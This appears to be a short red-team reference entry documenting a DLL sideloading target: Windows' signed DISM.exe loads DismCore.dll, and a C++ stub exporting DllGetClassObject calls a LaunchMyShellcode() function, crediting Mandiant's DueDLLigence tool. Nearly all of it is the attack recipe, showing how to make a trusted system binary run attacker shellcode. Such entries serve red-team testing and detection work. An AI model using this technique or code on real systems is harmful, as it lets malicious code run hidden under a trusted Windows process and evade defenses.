## Target

- `C:\Windows\System32\DISM.exe` loads `DismCore.dll`

## Exports

```cpp
    
#pragma comment(linker,"/EXPORT:DllGetClassObject=my_DllGetClassObject")

extern "C" {
    STDAPI my_DllGetClassObject(
        const CLSID& rclsid,
        const IID& riid,
        void** ppv
    )
    {
        LaunchMyShellcode();

        return NULL;
    }
}
```

## Source

- [Mandiant's DueDLLigence](https://github.com/mandiant/DueDLLigence)